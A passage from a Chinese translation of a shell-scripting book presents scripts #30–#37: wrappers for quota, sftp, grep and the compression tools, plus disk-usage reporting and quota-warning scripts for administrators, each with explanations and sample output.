  Queen's shrill cries to the voice of the shepherd boy--and the
  sneeze
  of the baby, the shriek of the Gryphon, and all the other queer
+ noises, would change (she knew) to the confused clamour of the busy
+ farm-yard--while the lowing of the cattle in the distance would
+ take the place of the Mock Turtle's heavy sobs.

清单 4-6:测试 *showfile* 脚本

#30 模拟 GNU 样式标志与 quota

各种 Unix 和 Linux 系统中命令标志的不一致性是一个长期存在的问题,这给那些在主要版本之间切换的用户带来了很多麻烦,尤其是从商业 Unix 系统(如 SunOS/Solaris、HP-UX 等)切换到开源 Linux 系统时。一个展示此问题的命令是 quota,它在某些 Unix 系统上支持全名标志,但在其他系统上仅接受单字母标志。

一个简洁的 shell 脚本(如清单 4-7 所示)通过将任何指定的全名标志映射到相应的单字母替代标志来解决问题。

代码

   #!/bin/bash
   # newquota--A frontend to quota that works with full-word flags a la GNU

   # quota has three possible flags, -g, -v, and -q, but this script
   #   allows them to be '--group', '--verbose', and '--quiet' too.

   flags=""
   realquota="$(which quota)"

   while [ $# -gt 0 ]
   do
     case $1
     in
       --help)      echo "Usage: $0 [--group --verbose --quiet -gvq]" >&2
                          exit 1 ;;
       --group)     flags="$flags -g";   shift ;;
       --verbose)   flags="$flags -v";   shift ;;
       --quiet)     flags="$flags -q";   shift ;;
       --)          shift;               break ;;
       *)           break;          # Done with 'while' loop!
     esac

   done

➊ exec $realquota $flags "$@"

清单 4-7: *newquota* 脚本

工作原理

这个脚本实际上归结为一个 while 语句,它遍历传递给脚本的每个参数,识别任何匹配的全名标志,并将相关的单字母标志添加到 flags 变量中。完成后,它会简单地调用原始的 quota 程序 ➊,并根据需要添加用户指定的标志。

运行脚本

有几种方法可以将这种包装程序集成到你的系统中。最明显的方法是将此脚本重命名为quota,然后将该脚本放置在本地目录(例如,/usr/local/bin)中,并确保用户的默认PATH在查找标准 Linux 二进制目录(/bin/usr/bin)之前会先查找这个目录。另一种方法是添加系统范围的别名,使得输入quota的用户实际上调用的是newquota脚本。(一些 Linux 发行版附带了管理系统别名的工具,如 Debian 的alternatives系统。)然而,最后一种策略可能存在风险,因为如果用户在自己的脚本中使用带有新标志的quota,如果这些脚本没有使用用户的交互式登录 shell,它们可能看不到指定的别名,最终会调用基础的quota命令,而不是newquota

结果

清单 4-8 详细说明了如何使用--verbose--quiet参数运行newquota

$ newquota --verbose
Disk quotas for user dtint (uid 24810):
     Filesystem   usage   quota   limit   grace   files   quota   limit   grace
           /usr  338262  614400  675840           10703  120000  126000
$ newquota --quiet

清单 4-8:测试 *newquota* 脚本

--quiet模式只在用户超出配额时才会输出信息。从最后的结果中可以看到,这正正常工作,因为我们没有超出配额。呼——!

#31 让 sftp 更像 ftp

文件传输协议ftp的安全版本包含在ssh(安全 Shell 包)中,但对于从老旧的ftp客户端切换过来的用户来说,它的界面可能有些让人困惑。基本问题在于,ftp是以ftp remotehost的形式调用的,然后它会提示输入帐户和密码信息。相比之下,sftp希望在命令行中指定帐户和远程主机,如果只指定主机,它就无法正常工作(或者无法按预期工作)。

为了解决这个问题,清单 4-9 中详细介绍的简单包装脚本允许用户像调用ftp程序一样调用mysftp,并提示输入必要的字段。

代码

   #!/bin/bash

   # mysftp--Makes sftp start up more like ftp

   /bin/echo -n "User account: "
   read account

   if [ -z $account ] ; then
     exit 0;       # Changed their mind, presumably
   fi

   if [ -z "$1" ] ; then
     /bin/echo -n "Remote host: "
     read host
     if [ -z $host ] ; then
       exit 0
     fi
   else
     host=$1
   fi

   # End by switching to sftp. The -C flag enables compression here.

➊ exec sftp -C $account@$host

清单 4-9: *mysftp* 脚本,*sftp*的更友好版本

工作原理

这个脚本中有一个值得一提的技巧。实际上,这是我们在之前的脚本中做过的,只不过之前没有特别强调:最后一行是一个exec调用➊。它的作用是替换当前运行的 shell,执行指定的应用程序。因为你知道,在调用sftp命令后,已经没有其他操作需要做了,这种结束脚本的方法比让 shell 等待sftp完成并使用一个单独的子 shell 要更高效——如果我们直接调用sftp的话,情况就会是这样。

运行脚本

ftp客户端一样,如果用户省略了远程主机,脚本会继续并提示输入远程主机。如果脚本以mysftp remotehost的形式调用,则使用提供的remotehost

结果

让我们看看当你在没有任何参数的情况下调用这个脚本时,和在没有任何参数的情况下调用sftp时会发生什么。清单 4-10 展示了运行sftp的情况。

$ sftp
usage: sftp [-1246Cpqrv] [-B buffer_size] [-b batchfile] [-c cipher]
          [-D sftp_server_path] [-F ssh_config] [-i identity_file] [-l limit]
          [-o ssh_option] [-P port] [-R num_requests] [-S program]
          [-s subsystem | sftp_server] host
       sftp [user@]host[:file ...]
       sftp [user@]host[:dir[/]]
       sftp -b batchfile [user@]host

清单 4-10:运行*sftp*工具时不带参数会产生非常难以理解的帮助输出。

这很有用,但也很混淆。相比之下,通过mysftp脚本,你可以继续进行实际连接,正如清单 4-11 所示。

$ mysftp
User account: taylor
Remote host: intuitive.com
Connecting to intuitive.com...
taylor@intuitive.com's password:
sftp> quit

清单 4-11:运行*mysftp*脚本时不带参数更为清晰。

像调用ftp会话一样调用脚本,提供远程主机,它将提示输入远程帐户名(在清单 4-12 中详细说明),然后悄悄地调用sftp

$ mysftp intuitive.com
User account: taylor
Connecting to intuitive.com...
taylor@intuitive.com's password:
sftp> quit

清单 4-12:运行*mysftp*脚本时提供单个参数:要连接的主机

破解脚本

当你有这样的脚本时,始终要思考的一件事是,它是否可以作为自动备份或同步工具的基础,而mysftp就是一个完美的候选者。所以一个很好的技巧就是在你的系统上指定一个目录,例如,然后写一个包装器来创建关键文件的 ZIP 归档,并使用mysftp将它们复制到服务器或云存储系统。实际上,我们将在本书稍后通过脚本 #72 在第 229 页来做这个。

#32 修复 grep

一些版本的grep提供了丰富的功能,包括特别有用的显示匹配行上下文(上下各一两行)的能力。此外,一些版本的grep还可以高亮显示匹配指定模式的行中的区域(至少对于简单模式)。你可能已经拥有这样的版本的grep,但也可能没有。

幸运的是,这两个功能都可以通过 Shell 脚本来模拟,因此即使你使用的是旧版商业 Unix 系统,且grep命令相对原始,仍然可以使用它们。要指定匹配指定模式的行上下文的行数,可以使用-c *value*,后面跟上要匹配的模式。这个脚本(见清单 4-13)还借用了 ANSI 颜色脚本,脚本 #11 在第 40 页中,来进行区域高亮。

代码

   #!/bin/bash

   # cgrep--grep with context display and highlighted pattern matches

   context=0
   esc="^["
   boldon="${esc}[1m" boldoff="${esc}[22m"
   sedscript="/tmp/cgrep.sed.$$"
   tempout="/tmp/cgrep.$$"

   function showMatches
   {
     matches=0

➊   echo "s/$pattern/${boldon}$pattern${boldoff}/g" > $sedscript

➋   for lineno in $(grep -n "$pattern" $1 | cut -d: -f1)
     do
       if [ $context -gt 0 ] ; then
➌       prev="$(( $lineno - $context ))"

         if [ $prev -lt 1 ] ; then
           # This results in "invalid usage of line address 0."
           prev="1"
         fi
➍       next="$(( $lineno + $context ))"

         if [ $matches -gt 0 ] ; then
           echo "${prev}i\\" >> $sedscript
           echo "----" >> $sedscript
         fi
         echo "${prev},${next}p" >> $sedscript
       else
         echo "${lineno}p" >> $sedscript
       fi
       matches="$(( $matches + 1 ))"
     done

     if [ $matches -gt 0 ] ; then
       sed -n -f $sedscript $1 | uniq | more
     fi
   }

➎ trap "$(which rm) -f $tempout $sedscript" EXIT

   if [ -z "$1" ] ; then
     echo "Usage: $0 [-c X] pattern {filename}" >&2
     exit 0
   fi

   if [ "$1" = "-c" ] ; then
     context="$2"
     shift; shift
   elif [ "$(echo $1|cut -c1-2)" = "-c" ] ; then
     context="$(echo $1 | cut -c3-)"
     shift
   fi

   pattern="$1"; shift

   if [ $# -gt 0 ] ; then
     for filename ; do
       echo "----- $filename -----"
       showMatches $filename
     done
   else
     cat - > $tempout      # Save stream to a temp file.
     showMatches $tempout
   fi

   exit 0

清单 4-13:*cgrep*脚本

它是如何工作的

这个脚本使用grep -n来获取文件中所有匹配行的行号➋,然后,使用指定的上下文行数,确定显示每个匹配项的起始➌和结束➍行。这些行会写入在➊定义的临时sed脚本中,该脚本执行一个单词替换命令,将指定的模式包装在加粗开关 ANSI 序列中。这就是脚本的 90%,简而言之。

这个脚本中值得一提的另一个点是有用的 trap 命令 ➎,它让你将事件与 shell 脚本执行系统本身关联起来。第一个参数是你希望调用的命令或命令序列,所有后续参数是具体的信号(事件)。在这个案例中,我们告诉 shell 当脚本退出时,调用 rm 删除两个临时文件。

使用 trap 工作的特别好的一点是,无论你从脚本的哪里退出,它都会起作用,而不仅仅是在脚本的最底部。在后续的脚本中,你将看到 trap 可以绑定到各种信号,而不仅仅是 SIGEXIT(或 EXIT,或 SIGEXIT 的数值等价物,0)。事实上,你可以将不同的 trap 命令与不同的信号关联,因此,如果有人向脚本发送 SIGQUIT(CTRL-C),你可能会输出“已清理临时文件”的消息,而在常规的 (SIGEXIT) 事件中则不会显示该消息。

运行脚本

这个脚本可以处理输入流,在这种情况下它会将输入保存到临时文件中,然后像处理命令行指定的文件一样处理该临时文件,或者处理命令行中的一个或多个文件列表。清单 4-14 显示了通过命令行传递单个文件的示例。

结果

$ cgrep -c 1 teacup ragged.txt
----- ragged.txt -----
in the wind, and the pool rippling to the waving of the reeds--the
rattling teacups would change to tinkling sheep-bells, and the
Queen's shrill cries to the voice of the shepherd boy--and the

清单 4-14:测试 *cgrep* 脚本

破解脚本

对这个脚本的一个有用改进是返回匹配行的行号。

#33 处理压缩文件

多年来的 Unix 开发中,很少有程序像compress那样被反复考虑和重新开发。在大多数 Linux 系统上,有三种明显不同的压缩程序可供使用:compressgzipbzip2。每种程序使用不同的后缀(分别是 .z.gz.bz2),并且压缩程度可能会根据文件中数据的布局而有所不同。

无论压缩级别如何,也无论你安装了哪个压缩程序,在许多 Unix 系统上,处理压缩文件都需要手动解压,完成所需任务后再重新压缩。这是一个繁琐的过程,因此非常适合用 shell 脚本来处理!清单 4-15 中详细的脚本作为一个方便的压缩/解压包装器,适用于你经常需要在压缩文件上使用的三个功能:catmoregrep

代码

   #!/bin/bash

   # zcat, zmore, and zgrep--This script should be either symbolically
   #   linked or hard linked to all three names. It allows users to work with
   #   compressed files transparently.

    Z="compress";  unZ="uncompress"  ;  Zlist=""
   gz="gzip"    ; ungz="gunzip"      ; gzlist=""
   bz="bzip2"   ; unbz="bunzip2"     ; bzlist=""

   # First step is to try to isolate the filenames in the command line.
   #   We'll do this lazily by stepping through each argument, testing to
   #   see whether it's a filename. If it is and it has a compression
   #   suffix, we'll decompress the file, rewrite the filename, and proceed.
   #   When done, we'll recompress everything that was decompressed.

   for arg
   do
     if [ -f "$arg" ] ; then
       case "$arg" in
          *.Z) $unZ "$arg"
               arg="$(echo $arg | sed 's/\.Z$//')"
               Zlist="$Zlist \"$arg\""
               ;;

         *.gz) $ungz "$arg"
               arg="$(echo $arg | sed 's/\.gz$//')"
               gzlist="$gzlist \"$arg\""
               ;;

        *.bz2) $unbz "$arg"
               arg="$(echo $arg | sed 's/\.bz2$//')"
               bzlist="$bzlist \"$arg\""
               ;;
       esac
     fi
     newargs="${newargs:-""} \"$arg\""
   done

   case $0 in
      *zcat* ) eval cat $newargs                   ;;
     *zmore* ) eval more $newargs                  ;;
     *zgrep* ) eval grep $newargs                  ;;
           * ) echo "$0: unknown base name. Can't proceed." >&2
               exit 1
   esac

   # Now recompress everything.

   if [ ! -z "$Zlist"  ] ; then
➊   eval $Z $Zlist
   fi
   if [ ! -z "$gzlist"] ; then
➋   eval $gz $gzlist
   fi
   if [ ! -z "$bzlist" ] ; then
➌   eval $bz $bzlist
   fi

   # And done!

   exit 0

清单 4-15: *zcat*/*zmore*/*zgrep* 脚本

它是如何工作的

对于任何给定的后缀,都需要三个步骤:解压文件、重命名文件以去除后缀,并将其添加到脚本末尾重新压缩的文件列表中。通过保持三个单独的列表,每个压缩程序一个,这个脚本还让你可以轻松地在使用不同压缩工具压缩的文件之间进行 grep 搜索。

最重要的技巧是在重新压缩文件时使用eval指令 ➊➋➌。这对于确保带空格的文件名被正确处理是必要的。当Zlistgzlistbzlist变量被实例化时,每个参数都会被引号括起来,因此一个典型的值可能是""sample.c" "test.pl" "penny.jar""。由于列表中有嵌套的引号,调用类似cat $Zlist的命令会导致cat抱怨找不到文件"sample.c"。为了强制 shell 执行命令,仿佛命令是在命令行中输入的(引号在arg解析后会被去除),使用eval,这样一切就能按预期工作。

运行脚本

为了正确运行,该脚本应该有三个名称。如何在 Linux 中实现这一点?简单:链接。您可以使用符号链接,它是存储链接目标名称的特殊文件,或者使用硬链接,硬链接实际上会被分配与被链接文件相同的 inode。我们更倾向于使用符号链接。这些链接可以很容易地创建(这里脚本已经被命名为zcat),如清单 4-16 所示。

$ ln -s zcat zmore
$ ln -s zcat zgrep

清单 4-16:符号链接 *zcat* 脚本到 *zmore* *zgrep* 命令

完成后,您将有三个新的命令,它们具有相同的实际(共享的)内容,每个命令都接受一个文件列表,根据需要处理文件,完成后解压缩并重新压缩它们。

结果

无处不在的compress工具可以快速压缩ragged.txt并为其添加.z后缀:

$ compress ragged.txt

ragged.txt的压缩状态下,我们可以使用zcat查看文件,具体细节见清单 4-17。

$ zcat ragged.txt.Z
So she sat on, with closed eyes, and half believed herself in
Wonderland, though she knew she had but to open them again, and
all would change to dull reality--the grass would be only rustling
in the wind, and the pool rippling to the waving of the reeds--the
rattling teacups would change to tinkling sheep-bells, and the
Queen's shrill cries to the voice of the shepherd boy--and the
sneeze of the baby, the shriek of the Gryphon, and all the other
queer noises, would change (she knew) to the confused clamour of
the busy farm-yard--while the lowing of the cattle in the distance
would take the place of the Mock Turtle's heavy sobs.

清单 4-17:使用 *zcat* 打印压缩的文本文件

然后再次搜索teacup

$ zgrep teacup ragged.txt.Z
rattling teacups would change to tinkling sheep-bells, and the

同时,文件保持在其原始的压缩状态,起始和结束状态都如清单 4-18 所示。

$ ls -l ragged.txt*
-rw-r--r-- 1 taylor staff 443 Jul 7 16:07 ragged.txt.Z

清单 4-18:*ls*的结果,只显示压缩文件存在*

破解脚本

这个脚本可能最大的问题是,如果在中途取消,文件不能保证会重新压缩。一个不错的改进是使用trap功能智能地解决这个问题,并增加一个带有错误检查的重新压缩函数。

#34 确保最大压缩的文件

正如脚本 #33 在第 109 页中强调的那样,大多数 Linux 实现都包括多种压缩方法,但用户需要自己弄清楚哪种方法对给定文件压缩效果最好。因此,用户通常只学会使用一种压缩程序,而没有意识到他们可以通过使用其他程序获得更好的效果。更让人困惑的是,某些文件使用一种算法压缩效果更好,而使用另一种则较差,而没有实验就无法知道哪种更好。

逻辑上的解决方案是使用一个脚本来利用每个工具压缩文件,然后选择最小的文件作为最佳结果。这正是bestcompress所做的,见清单 4-19!

代码

   #!/bin/bash

   # bestcompress--Given a file, tries compressing it with all the available
   #   compression tools and keeps the compressed file that's smallest,
   #   reporting the result to the user. If -a isn't specified, bestcompress
   #   skips compressed files in the input stream.

   Z="compress"     gz="gzip"     bz="bzip2"
   Zout="/tmp/bestcompress.$$.Z"
   gzout="/tmp/bestcompress.$$.gz"
   bzout="/tmp/bestcompress.$$.bz"
   skipcompressed=1

   if [ "$1" = "-a" ] ; then
     skipcompressed=0 ; shift
   fi

   if [ $# -eq 0 ]; then
     echo "Usage: $0 [-a] file or files to optimally compress" >&2
     exit 1
   fi

   trap "/bin/rm -f $Zout $gzout $bzout" EXIT

   for name in "$@"
   do
     if [ ! -f "$name" ] ; then
       echo "$0: file $name not found. Skipped." >&2
       continue
     fi

     if [ "$(echo $name | egrep '(\.Z$|\.gz$|\.bz2$)')" != "" ] ; then
       if [ $skipcompressed -eq 1 ] ; then
         echo "Skipped file ${name}: It's already compressed."
         continue
       else
         echo "Warning: Trying to double-compress $name"
       fi
     fi

   # Try compressing all three files in parallel.
➊   $Z  < "$name" > $Zout  &
     $gz < "$name" > $gzout &
     $bz < "$name" > $bzout &

     wait  # Wait until all compressions are done.

   # Figure out which compressed best.
➋   smallest="$(ls -l "$name" $Zout $gzout $bzout | \
       awk '{print $5"="NR}' | sort -n | cut -d= -f2 | head -1)"

     case "$smallest" in
➌     1 ) echo "No space savings by compressing $name. Left as is."
           ;;
       2 ) echo Best compression is with compress. File renamed ${name}.Z
           mv $Zout "${name}.Z" ; rm -f "$name"
           ;;
       3 ) echo Best compression is with gzip. File renamed ${name}.gz
           mv $gzout "${name}.gz" ; rm -f "$name"
           ;;
       4 ) echo Best compression is with bzip2\. File renamed ${name}.bz2
           mv $bzout "${name}.bz2" ; rm -f "$name"
     esac

   done

   exit 0

清单 4-19: *bestcompress* 脚本

原理

该脚本中最有趣的一行是 ➋。这一行让 ls 输出每个文件的大小(原始文件以及三个压缩文件,按已知顺序),然后用 awk 剪切出文件大小,按数字排序,最终得出最小文件的行号。如果所有压缩版本的文件都比原文件大,结果将是 1,并打印出相应的信息 ➌。否则,smallest 将指示是 compressgzip 还是 bzip2 做得最好。然后,脚本只需将相应的文件移到当前目录,并删除原文件。

从 ➊ 开始的三个压缩调用也值得注意。这些调用是并行进行的,通过使用尾随的 & 将每个调用放入自己的子 shell 中,接着调用 wait,直到所有调用完成,脚本才会停止。在单处理器的情况下,这可能不会带来太大的性能提升,但在多处理器的环境下,它应该可以分摊任务,并可能更快完成。

运行脚本

该脚本应该使用文件名列表进行调用,以压缩这些文件。如果其中某些文件已经被压缩,并且你想尝试进一步压缩它们,请使用-a标志;否则,这些文件将被跳过。

结果

演示该脚本的最佳方式是使用一个需要压缩的文件,正如清单 4-20 所示。

$ ls -l alice.txt
-rw-r--r--  1 taylor  staff  154872 Dec  4  2002 alice.txt

清单 4-20:显示 *ls* 命令输出的《爱丽丝梦游仙境》副本。请注意,文件大小为 154872 字节。

脚本隐藏了使用三种压缩工具压缩文件的过程,而是简单地显示结果,结果见清单 4-21。

$ bestcompress alice.txt
Best compression is with compress. File renamed alice.txt.Z

清单 4-21:运行 *bestcompress* 脚本来压缩 alice.txt

清单 4-22 演示了文件现在变得相当小。

$ ls -l alice.txt.Z
-rw-r--r--  1 taylor  wheel  66287 Jul  7 17:31 alice.txt.Z

清单 4-22:演示压缩文件(66287 字节)相比于清单 4-20 的文件大小大幅减小。

第六章:系统管理:管理用户

image

无论是 Windows、OS X 还是 Unix,任何复杂的操作系统都无法在没有人工干预的情况下无限期运行。如果你使用的是多用户的 Linux 系统,肯定会有人在执行必要的系统管理任务。你可能忽略了那个“幕后的人”,他负责管理和维护一切,或者你可能正是那个“大魔法师”自己,掌控着一切操作,保持系统的正常运行。如果你使用的是单用户系统,那么你应该定期执行一些系统管理任务。

幸运的是,简化 Linux 系统管理员的工作(本章目标)是 Shell 脚本最常见的用途之一。实际上,许多 Linux 命令实际上就是 Shell 脚本,许多最基本的任务,如添加用户、分析磁盘使用情况以及管理访客帐户的文件空间,都可以通过简短的脚本更高效地完成。

令人惊讶的是,许多系统管理脚本的长度也不过是 20 到 30 行。事实上,你可以使用 Linux 命令来识别脚本,并通过管道命令来查找每个脚本的行数。以下是 /usr/bin/ 中 15 个最短的脚本:

$ file /usr/bin/* | grep "shell script" | cut -d: -f1 | xargs wc -l \
| sort -n | head -15
    3 zcmp
    3 zegrep
    3 zfgrep
    4 mkfontdir
    5 pydoc
    7 sgmlwhich
    8 batch
    8 ps2pdf12
    8 ps2pdf13
    8 ps2pdf14
    8 timed-read
    9 timed-run
   10 c89
   10 c99
   10 neqn

/usr/bin/ 目录中最短的 15 个脚本都不超过 10 行。而在 10 行中,方程式格式化脚本 neqn 是一个很好的例子,展示了一个小的 Shell 脚本如何真正改善用户体验:

#!/bin/bash
# Provision of this shell script should not be taken to imply that use of
#   GNU eqn with groff -Tascii|-Tlatin1|-Tutf8|-Tcp1047 is supported.

: ${GROFF_BIN_PATH=/usr/bin}
PATH=$GROFF_BIN_PATH:$PATH
export PATH
exec eqn -Tascii ${1+"$@"}

# eof

neqn 类似,本章介绍的脚本简短而实用,提供了一系列的管理功能,包括简单的系统备份;用户及其数据的创建、管理和删除;一个易于使用的 date 命令前端,用于更改当前的日期和时间;以及一个有用的工具来验证 crontab 文件。

#35 分析磁盘使用情况

即便是大容量硬盘的出现以及它们价格的持续下降,系统管理员似乎仍然不断被要求监控磁盘使用情况,以防共享磁盘被填满。

最常见的监控技术是查看 /usr/home 目录,使用 du 命令确定所有子目录的磁盘使用情况,并报告前 5 或前 10 个用户。然而,这种方法的问题在于,它没有考虑硬盘(或多个硬盘)上其他地方的空间使用情况。如果某些用户在第二个硬盘上有额外的归档空间,或者你有些偷偷摸摸的用户在 /tmp 的点目录或 ftp 区域中的未使用目录中存放 MPEG 文件,那么这些使用情况将无法被检测到。此外,如果你的 home 目录分布在多个硬盘上,逐个搜索每个 /home 目录未必是最优的做法。

更好的解决方案是直接从 /etc/passwd 文件中获取所有帐户名,然后在文件系统中搜索每个帐户拥有的文件,如 列表 5-1 所示。

代码

   #!/bin/bash

   # fquota--Disk quota analysis tool for Unix; assumes all user
   #   accounts are >= UID 100

   MAXDISKUSAGE=20000   # In megabytes

   for name in $(cut -d: -f1,3 /etc/passwd | awk -F: '$2 > 99 {print $1}')
   do
     /bin/echo -n "User $name exceeds disk quota. Disk usage is: "
     # You might need to modify the following list of directories to match
     #   the layout of your disk. The most likely change is from /Users to /home.
➊   find / /usr /var /Users -xdev -user $name -type f -ls | \
       awk '{ sum += $7 } END { print sum / (1024*1024) " Mbytes" }'

➋ done | awk "\$9 > $MAXDISKUSAGE { print \$0 }"

   exit 0

列表 5-1: *fquota* 脚本

工作原理

按惯例,用户 ID 从 1 到 99 用于系统守护进程和管理任务,而 100 及以上则用于用户账户。由于 Linux 管理员通常比较有条理,这个脚本跳过了所有 UID 小于 100 的账户。

-xdev 参数用于 find 命令 ➊,确保 find 不会遍历所有文件系统。换句话说,这个参数防止命令在系统区域、只读源目录、可移动设备、正在运行的进程的 /proc 目录(在 Linux 中)以及类似区域中耗时。正因如此,我们明确指定了如 /usr/var/home 这样的目录。这些目录通常在各自独立的文件系统中,用于备份和管理目的。即使它们与根文件系统位于同一文件系统中,加入这些目录并不意味着它们会被重复搜索。

刚开始看,可能会觉得这个脚本对每个账户都输出 超过磁盘配额 的消息,但在循环之后的 awk 语句 ➋ 只会在账户的使用量大于预定义的 MAXDISKUSAGE 时报告此消息。

运行脚本

这个脚本没有参数,应该以 root 用户身份运行,以确保它有权限访问所有目录和文件系统。聪明的做法是使用有用的 sudo 命令(在终端运行命令 man sudo 以获取更多细节)。为什么 sudo 有用?因为它允许你以 root 用户身份执行一个命令,之后你会恢复为普通用户身份。每次你想运行一个管理命令时,都必须有意识地使用 sudo。与此相反,使用 su - root 会让你一直以 root 身份执行后续的所有命令,直到退出子 Shell,而一旦你分心,很容易忘记自己是 root,执行一些可能导致灾难的操作。

注意

你需要修改 *find* 命令中列出的目录,使其与自己磁盘拓扑中的对应目录匹配。

结果

因为这个脚本会跨文件系统进行搜索,所以它需要一些时间才能运行,这一点应该不足为奇。在大型系统上,运行时间可能会介于喝一杯茶和和你的伴侣共进午餐之间。列表 5-2 详细说明了结果。

$ sudo fquota
User taylor exceeds disk quota. Disk usage is: 21799.4 Mbytes

列表 5-2:测试 *fquota* 脚本

你可以看到 taylor 在磁盘使用方面完全失控!他使用的 21GB 明显超过了每个用户 20GB 的配额。

破解脚本

这种类型的完整脚本应该具有某种自动发送电子邮件的功能,用来警告那些占用过多磁盘空间的人。这个增强功能在下一个脚本中得到了演示。

#36 报告磁盘占用者

大多数系统管理员都希望以最简单的方式解决问题,而管理磁盘配额的最简单方法是扩展fquota(见脚本 #35,第 119 页),直接向消耗过多空间的用户发出电子邮件警告,见列表 5-3。

代码

   #!/bin/bash

   # diskhogs--Disk quota analysis tool for Unix; assumes all user
   #   accounts are >= UID 100\. Emails a message to each violating user
   #   and reports a summary to the screen.

   MAXDISKUSAGE=500
➊ violators="/tmp/diskhogs0.$$"

➋ trap "$(which rm) -f $violators" 0

➌ for name in $(cut -d: -f1,3 /etc/passwd | awk -F: '$2 > 99 { print $1 }')
   do
➍   /bin/echo -n "$name "
     # You might need to modify the following list of directories to match the
     #   layout of your disk. The most likely change is from /Users to /home.
     find / /usr /var /Users -xdev -user $name -type f -ls | \
       awk '{ sum += $7 } END { print sum / (1024*1024) }'

   done | awk "\$2 > $MAXDISKUSAGE { print \$0 }" > $violators

➎ if [ ! -s $violators ] ; then
     echo "No users exceed the disk quota of ${MAXDISKUSAGE}MB"
     cat $violators
     exit 0
   fi

   while read account usage ; do

➏   cat << EOF | fmt | mail -s "Warning: $account Exceeds Quota" $account
     Your disk usage is ${usage}MB, but you have been allocated only
     ${MAXDISKUSAGE}MB. This means that you need to delete some of your
     files, compress your files (see 'gzip' or 'bzip2' for powerful and
     easy-to-use compression programs), or talk with us about increasing
     your disk allocation.

     Thanks for your cooperation in this matter.

     Your afriendly neighborhood sysadmin
     EOF

     echo "Account $account has $usage MB of disk space. User notified."

   done < $violators

   exit 0

列表 5-3:*diskhogs*脚本

它是如何工作的

该脚本使用脚本 #35 作为基础,变更标记在➊、➋、➍、➎和➏处。请注意在邮件管道中添加了fmt命令,见➏。

这个巧妙的技巧改善了自动生成的电子邮件的外观,当字段的长度未知时,例如$account,它被嵌入到文本中。在此脚本中,for循环的逻辑在第➌处稍有不同于脚本 #35 中的for循环:因为该脚本中循环的输出仅用于脚本的第二部分,在每个循环中,脚本只报告账户名和磁盘使用情况,而不是磁盘配额超限的错误信息。

运行脚本

这个脚本没有起始参数,应该以 root 身份运行以获得准确的结果。最安全的做法是使用sudo命令,如列表 5-4 所示。

结果

$ sudo diskhogs
Account ashley has 539.7MB of disk space. User notified.
Account taylor has 91799.4MB of disk space. User notified.

列表 5-4:测试*diskhogs*脚本

如果我们现在查看ashley账户的邮箱,我们会看到来自脚本的一条消息已被送达,见列表 5-5。

Subject: Warning: ashley Exceeds Quota

Your disk usage is 539.7MB, but you have been allocated only 500MB. This means
that you need to delete some of your files, compress your files (see 'gzip' or
'bzip2' for powerful and easy-to-use compression programs), or talk with us
about increasing your disk allocation.

Thanks for your cooperation in this matter.

Your friendly neighborhood sysadmin

列表 5-5:因超用磁盘而向*ashley*用户发送的电子邮件

修改脚本

这个脚本的一个有用的改进是允许某些用户拥有比其他用户更大的配额。这可以通过创建一个单独的文件来定义每个用户的磁盘配额来轻松实现,并在脚本中为未出现在文件中的用户设置默认配额。可以使用grep扫描包含账户名和配额对的文件,并通过调用cut -f2提取第二个字段。

#37 改善 df 输出的可读性

df工具的输出可能会让人费解,但我们可以提高其可读性。列表 5-6 中的脚本将df报告的字节数转换为更易懂的单位。

代码

   #!/bin/bash

   # newdf--A friendlier version of df

   awkscript="/tmp/newdf.$$"

   trap "rm -f $awkscript" EXIT

   cat << 'EOF' > $awkscript
   function showunit(size)
➊ { mb = size / 1024; prettymb=(int(mb * 100)) / 100;
➋   gb = mb / 1024; prettygb=(int(gb * 100)) / 100;

     if ( substr(size,1,1) !~ "[0-9]" ||
          substr(size,2,1) !~ "[0-9]" ) { return size }
     else if ( mb < 1) { return size "K" }
     else if ( gb < 1) { return prettymb "M" }
     else              { return prettygb "G" }
   }

   BEGIN {
     printf "%-37s %10s %7s %7s %8s %-s\n",
           "Filesystem", "Size", "Used", "Avail", "Capacity", "Mounted"
   }

   !/Filesystem/ {

     size=showunit($2);
     used=showunit($3);
     avail=showunit($4);

     printf "%-37s %10s %7s %7s %8s %-s\n",
           $1, size, used, avail, $5, $6
   }

   EOF

➌ df -k | awk -f $awkscript

   exit 0

列表 5-6:*newdf*脚本,包装*df*以便更易于使用

它是如何工作的

该脚本的大部分工作都在awk脚本中完成,而且完全可以将整个脚本用awk编写,而不是使用 Shell,利用system()函数直接调用df。 (实际上,这个脚本是用 Perl 重写的理想候选者,但这超出了本书的范围。)

这个脚本中也有一个老派的技巧,在➊和➋处,来自于 BASIC 编程。

在处理任意精度的数字值时,一种快速限制小数点后位数的方法是将值乘以 10 的幂次,将其转换为整数(去掉小数部分),然后再除以相同的 10 的幂次:prettymb=(int(mb * 100)) / 100;。使用这段代码,像 7.085344324 这样的值会变得更加简洁,变成 7.08。

注意

某些版本的 *df* 具有一个 *-h* 标志,提供类似于此脚本输出格式的输出。然而,正如本书中许多脚本所示,这个脚本可以让你在每个 Unix 或 Linux 系统上实现更友好、更有意义的输出,无论你使用的是什么版本的 *df*

运行脚本

这个脚本没有参数,任何人都可以运行,包括 root 用户和普通用户。为了避免报告你不感兴趣的设备的磁盘使用情况,可以在调用 df 后使用 grep -v 来过滤。

结果

常规的 df 报告难以理解,正如在 清单 5-7 中所示。

$ df
Filesystem                        512-blocks Used      Available Capacity Mounted on
/dev/disk0s2                      935761728  628835600 306414128 68%      /
devfs                             375        375       0         100%     /dev
map -hosts                        0          0         0         100%     /net
map auto_home                     0          0         0         100%     /home
localhost:/mNhtYYw9t5GR1SlUmkgN1E 935761728  935761728 0         100%     /Volumes/MobileBackups

清单 5-7: *df* 的默认输出复杂且令人困惑。

新脚本利用 awk 改善了可读性,并且知道如何将 512 字节的块转换为更易读的千兆字节格式,正如在 清单 5-8 中所示。

$ newdf
Filesystem                         Size    Used     Avail    Capacity  Mounted
/dev/disk0s2                       446.2G  299.86G  146.09G  68%       /
devfs                              187K    187K     0        100%      /dev
map -hosts                         0       0        0        100%
map auto_home                      0       0        0        100%
localhost:/mNhtYYw9t5GR1SlUmkgN1E  446.2G  446.2G   0        100%      /Volumes/MobileBackups

清单 5-8: *newdf* 的更易读且易理解的输出

修改脚本

